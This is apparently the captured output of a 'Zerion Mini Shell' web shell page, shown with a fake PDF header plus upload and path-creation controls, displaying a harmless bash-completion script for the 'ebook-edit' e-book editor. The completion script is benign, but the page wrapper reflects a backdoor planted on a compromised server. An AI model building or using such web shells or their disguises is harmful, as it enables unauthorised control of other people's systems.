%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/309157/task/309157/root/usr/share/bash-completion/completions/
Upload File :
Create Path :
Current File : //proc/309157/task/309157/root/usr/share/bash-completion/completions/ebook-edit

_ebook_edit()
{
    local cur prev opts
    COMPREPLY=()
    cur="${COMP_WORDS[COMP_CWORD]}"
    prev="${COMP_WORDS[COMP_CWORD-1]}"
    opts="--version -h --help --detach --select-text"
    pics="@(BMP|GIF|JPEG|JPG|PNG|bmp|gif|jpeg|jpg|png)"

    case "${prev}" in
      --cover )
           _filedir ${pics}
           return 0
         ;;
    
    esac

    case "${cur}" in
      --cover )
           _filedir ${pics}
           return 0
         ;;
    
      -* )
         COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
         return 0
         ;;
      *  )
        _filedir '@(AZW3|DOCX|EPUB|HTM|HTML|XHTM|XHTML|azw3|docx|epub|htm|html|xhtm|xhtml)'
        return 0
        ;;
    esac

}
complete -o filenames -F _ebook_edit ebook-edit


Zerion Mini Shell 1.0